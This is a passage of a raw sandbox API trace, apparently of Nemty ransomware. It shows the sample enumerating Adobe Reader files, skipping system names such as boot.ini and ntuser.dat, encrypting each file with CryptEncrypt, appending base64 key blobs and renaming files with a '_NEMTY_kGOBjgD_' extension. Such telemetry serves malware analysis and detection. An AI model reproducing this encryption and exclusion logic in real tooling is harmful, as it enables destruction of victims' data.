[0216.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt04.hsp", lpUsedDefaultChar=0x0) returned 9 [0216.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.692] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt04.hsp", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt04.hsp", lpUsedDefaultChar=0x0) returned 9 [0216.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340500 [0216.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0216.692] Sleep (dwMilliseconds=0x5) [0216.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34cc9f70, dwHighDateTime=0x1d561e8)) [0216.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34cc9f70, dwHighDateTime=0x1d561e8)) [0216.697] GetLastError () returned 0x0 [0216.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.698] GetLastError () returned 0x0 [0216.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.698] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.698] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.698] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.698] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="iV6u7pQ7qsAOLT7Chzro4+Xr5wfTKfmfGbajWTeBtts75TpXRFqvSSbiHzcEcR1v\r\nclZfnNkNc1Xa0w2J/qIVeZUeL8OKxSfVX6nuJ1ltoRx2U4R8+xT45UO+xc6JwfuJ\r\nna0UPVmzczyIaac53W0K0c88RRtdfin/lY+0ZKAtBGK3hLKjQ7xU2s3/76I8f78I\r\n3pQGACNjl/pcTt6URsM4DCl9ff6ByrElC3p6PlRDEqRUXtUBzCKD5x9BkA8jS4yQ\r\nohXhvR5wT84d1hMrCq9gUnLuw6dls8SuJsb2y4f0mWD++3wFyq+bUOD+U1YbHqe/\r\nap88xTzI1QZMP01FhwPHGA==\r\n", pcchString=0x653df5c) returned 1 [0216.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.698] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.698] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.698] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt04.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt04.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.699] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=184786) returned 1 [0216.699] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0216.699] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.699] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0216.708] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.708] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0216.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.709] SetFilePointer (in: hFile=0x320, lDistanceToMove=184786, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d1d2 [0216.709] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.709] CloseHandle (hObject=0x320) returned 1 [0216.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63440c0 [0216.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344198 [0216.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344270 [0216.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344198 | out: hHeap=0x4f90000) returned 1 [0216.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.709] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt04.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt04.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt04.hsp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt04.hsp._nemty_kgobjgd_")) returned 1 [0216.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344270 | out: hHeap=0x4f90000) returned 1 [0216.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0216.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.710] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.710] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df51fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="brt32.clx", cAlternateFileName="")) returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2=".") returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="..") returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="...") returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="windows") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="$RECYCLE.BIN") returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="rsa") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="NTDETECT.COM") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="ntldr") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="MSDOS.SYS") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="IO.SYS") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="boot.ini") returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="boot.ini") returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="ntuser.dat") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="desktop.ini") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="CONFIG.SYS") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="RECYCLER") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="BOOTSECT.BAK") returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="bootmgr") returned 1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="programdata") returned -1 [0216.710] lstrcmpiW (lpString1="brt32.clx", lpString2="appdata") returned 1 [0216.710] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.711] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0216.711] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.711] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340500 [0216.711] Sleep (dwMilliseconds=0x5) [0216.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34cf00d0, dwHighDateTime=0x1d561e8)) [0216.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34cf00d0, dwHighDateTime=0x1d561e8)) [0216.713] GetLastError () returned 0x0 [0216.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.713] GetLastError () returned 0x0 [0216.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.713] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.713] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.713] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.713] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="I4EvJBaJTNCKS145KiffedTnwE2b7HcBjtwm2WnQMZQ9Ira0Nn7GAdxKr3cBoqxQ\r\n34sRrQg/NNkcMr52HY3Pw7Sny3hk3uZ9rVnsl3kXdsBuNQT0PRumgemCkHs3qp3w\r\n7RpsxIQ2HEskHvWexGDpSFcTyksVSfA8BjJQLi7WJ6kt1R4cZoyDlkbghzu3uKZ0\r\nae/oOIrEn4ODl3beSA5z5Nw5NB7FcA8xw1viMDV3Vb0zepYC2zmcHkr1MDBhNWhG\r\nJcqS8+2mBXGM2GWcUhyHkgZDxY8XovEgX8JfsxJ/iQeYHZGezjtL7TOXC/8KqAPj\r\nI0TYb+/Wl3RUVBTE3RF5Nw==\r\n", pcchString=0x653df5c) returned 1 [0216.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.713] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.713] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.714] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32768) returned 1 [0216.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8000) returned 0x6352c48 [0216.714] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.714] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x8000, lpOverlapped=0x0) returned 1 [0216.718] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.718] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x8000, lpOverlapped=0x0) returned 1 [0216.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.718] SetFilePointer (in: hFile=0x320, lDistanceToMove=32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8000 [0216.718] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.718] CloseHandle (hObject=0x320) returned 1 [0216.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63440c0 [0216.718] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.719] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344198 [0216.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344270 [0216.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344198 | out: hHeap=0x4f90000) returned 1 [0216.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.719] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt32.clx._nemty_kgobjgd_")) returned 1 [0216.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344270 | out: hHeap=0x4f90000) returned 1 [0216.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0216.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.720] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.720] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df9e280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x82800, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="brt55.ths", cAlternateFileName="")) returned 1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2=".") returned 1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="..") returned 1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="...") returned 1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="windows") returned -1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="$RECYCLE.BIN") returned 1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="rsa") returned -1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="NTDETECT.COM") returned -1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="ntldr") returned -1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="MSDOS.SYS") returned -1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="IO.SYS") returned -1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="boot.ini") returned 1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="boot.ini") returned 1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="AUTOEXEC.BAT") returned 1 [0216.720] lstrcmpiW (lpString1="brt55.ths", lpString2="ntuser.dat") returned -1 [0216.721] lstrcmpiW (lpString1="brt55.ths", lpString2="desktop.ini") returned -1 [0216.721] lstrcmpiW (lpString1="brt55.ths", lpString2="CONFIG.SYS") returned -1 [0216.721] lstrcmpiW (lpString1="brt55.ths", lpString2="RECYCLER") returned -1 [0216.721] lstrcmpiW (lpString1="brt55.ths", lpString2="BOOTSECT.BAK") returned 1 [0216.721] lstrcmpiW (lpString1="brt55.ths", lpString2="bootmgr") returned 1 [0216.721] lstrcmpiW (lpString1="brt55.ths", lpString2="programdata") returned -1 [0216.721] lstrcmpiW (lpString1="brt55.ths", lpString2="appdata") returned 1 [0216.721] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.721] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt55.ths", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt55.ths", 